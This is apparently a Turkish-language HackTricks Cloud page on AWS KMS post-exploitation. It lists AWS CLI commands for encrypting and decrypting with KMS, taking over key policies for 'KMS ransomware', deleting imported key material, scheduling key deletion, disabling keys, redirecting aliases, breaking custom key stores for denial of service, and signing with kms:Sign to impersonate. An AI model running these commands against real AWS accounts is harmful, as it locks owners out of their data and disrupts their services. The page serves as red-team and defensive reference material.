AWS - KMS Post Exploitation
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
KMS
Daha fazla bilgi için bakınız:
Encrypt/Decrypt information
fileb:// ve file:// AWS CLI komutlarında yerel dosyaların yolunu belirtmek için kullanılan URI şemalarıdır:
fileb://:Dosyayı ikili (binary) modda okur, genellikle metin olmayan dosyalar için kullanılır.file://:Dosyayı metin modunda okur, tipik olarak düz metin dosyaları, betikler veya özel kodlama gerektirmeyen JSON için kullanılır.
Tip
Dikkat: Eğer bir dosya içindeki bazı verileri decrypt etmek istiyorsanız, dosyanın ikili veriyi içermesi gerekir; base64 ile kodlanmış veri olmamalıdır. (fileb://)
- Using a symmetric key
# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile
# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
- Bir asimetrik anahtar kullanımı:
# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile
# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode
KMS Ransomware
KMS üzerinde ayrıcalıklı erişime sahip bir saldırgan, anahtarların KMS politikasını değiştirebilir ve kendi hesabına bu anahtarlara erişim verebilir, meşru hesabın verdiği erişimi kaldırarak.
Böylece meşru hesap kullanıcıları, bu anahtarlarla şifrelenmiş herhangi bir servisin hiçbir bilgisine erişemeyeceklerdir; bu da hesap üzerinde basit ama etkili bir ransomware oluşturur.
Warning
Unutmayın ki bu saldırı AWS managed keys aren’t affected, yalnızca Customer managed keys üzerinde etkilidir.
Ayrıca parametre
--bypass-policy-lockout-safety-checkkullanma gereğini unutmayın (web console’da bu seçeneğin olmaması bu saldırıyı yalnızca CLI üzerinden mümkün kılar).
# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check
{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}
Caution
Unutmayın ki politikayı değiştirip erişimi yalnızca harici bir hesaba verirseniz ve ardından bu harici hesaptan yeni bir politika ayarlayarak give the access back to original account, you won’t be able cause the Put Polocy action cannot be performed from a cross account.
.png)
Generic KMS Ransomware
Küresel KMS Ransomware gerçekleştirmek için başka bir yol daha vardır; bu aşağıdaki adımları içerir:
- Saldırgan tarafından içe aktarılmış bir anahtar materyali içeren yeni bir anahtar oluşturun
- Mağdurun önceki sürümle şifrelenmiş eski verilerini yeni anahtarla yeniden şifreleyin
- KMS anahtarını silin
- Artık yalnızca orijinal anahtar materyaline sahip saldırgan, şifrelenmiş verileri çözebilir
kms:DeleteImportedKeyMaterial ile Anahtarları Silme
kms:DeleteImportedKeyMaterial izni ile bir aktör, Origin=EXTERNAL olan CMK’lerden (anahtar materyalini içe aktarmış CMK’ler) içe aktarılmış anahtar materyalini silebilir ve bunların verileri çözememesine neden olabilir. Bu işlem tahrip edici ve geri alınamazdır; uyumlu materyal yeniden içe aktarılmadıkça, bir saldırgan şifrelenmiş bilgileri kalıcı olarak erişilemez hale getirerek etkili bir şekilde ransomware-like veri kaybına yol açabilir.
aws kms delete-imported-key-material --key-id <Key_ID>
Destroy keys
Destroying keys ile bir DoS gerçekleştirmek mümkündür.
# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7
Caution
Dikkat: AWS artık önceki işlemlerin cross account üzerinden gerçekleştirilmesini engelliyor:
Alias’ı Değiştirme veya Silme
Bu saldırı AWS KMS aliases’lerini siler veya yönlendirir, anahtar çözümlemesini bozar ve bu aliases’lere bağlı hizmetlerde anında hatalara yol açarak bir denial-of-service ile sonuçlanır. kms:DeleteAlias veya kms:UpdateAlias gibi izinlere sahip bir saldırgan, aliases’leri kaldırabilir veya yeniden işaretleyebilir ve kriptografik işlemleri (ör. encrypt, describe) bozabilir. Anahtar ID’si yerine alias’ı referans veren herhangi bir hizmet, alias geri yüklenene veya doğru şekilde yeniden eşlenene kadar başarısız olabilir.
# Delete Alias
aws kms delete-alias --alias-name alias/<key_alias>
# Update Alias
aws kms update-alias \
--alias-name alias/<key_alias> \
--target-key-id <new_target_key>
Anahtar Silme İptali
kms:CancelKeyDeletion ve kms:EnableKey gibi izinlere sahip bir aktör, bir AWS KMS customer master key için planlanmış silmeyi iptal edebilir ve daha sonra anahtarı yeniden etkinleştirebilir. Bu işlem anahtarı kurtarır (başlangıçta Disabled durumda) ve daha önce korunan verileri çözme yeteneğini geri kazandırır; böylece exfiltration mümkün olur.
# Firts cancel de deletion
aws kms cancel-key-deletion \
--key-id <Key_ID>
## Second enable the key
aws kms enable-key \
--key-id <Key_ID>
Disable Key
Bir aktör, kms:DisableKey izniyle bir AWS KMS customer master key’i devre dışı bırakabilir; bu, anahtarın şifreleme veya şifre çözme için kullanılmasını engeller. Bu durum, söz konusu CMK’ye bağlı olan servislerin erişimini keser ve anahtar yeniden etkinleştirilene kadar hemen aksamalara veya denial-of-service’e yol açabilir.
aws kms disable-key \
--key-id <key_id>
Paylaşılan Sırrı Türetme
kms:DeriveSharedSecret iznine sahip bir aktör, KMS tarafından tutulan bir private key ile kullanıcı tarafından sağlanan bir public key’i kullanarak bir ECDH shared secret hesaplayabilir.
aws kms derive-shared-secret \
--key-id <key_id> \
--public-key fileb:///<route_to_public_key> \
--key-agreement-algorithm <algorithm>
Impersonation via kms:Sign
kms:Sign izniyle, bir aktör KMS-stored CMK’yi private key’i açığa çıkarmadan veriyi kriptografik olarak imzalamak için kullanabilir; bu, impersonation’ı mümkün kılabilecek veya kötü amaçlı eylemleri yetkilendirebilecek geçerli imzalar üretir.
aws kms sign \
--key-id <key-id> \
--message fileb://<ruta-al-archivo> \
--signing-algorithm <algoritmo> \
--message-type RAW
DoS with Custom Key Stores
kms:DeleteCustomKeyStore, kms:DisconnectCustomKeyStore veya kms:UpdateCustomKeyStore gibi izinlere sahip bir aktör, bir AWS KMS Custom Key Store (CKS)’u değiştirebilir, bağlantısını kesebilir veya silebilir; bu da master anahtarlarını kullanılamaz hale getirir. Bu, bu anahtarlara bağımlı hizmetlerdeki şifreleme, şifre çözme ve imzalama işlemlerini bozarak anında bir denial-of-service’e neden olabilir. Bu nedenle bu izinlerin kısıtlanması ve izlenmesi kritik öneme sahiptir.
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
.png)
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

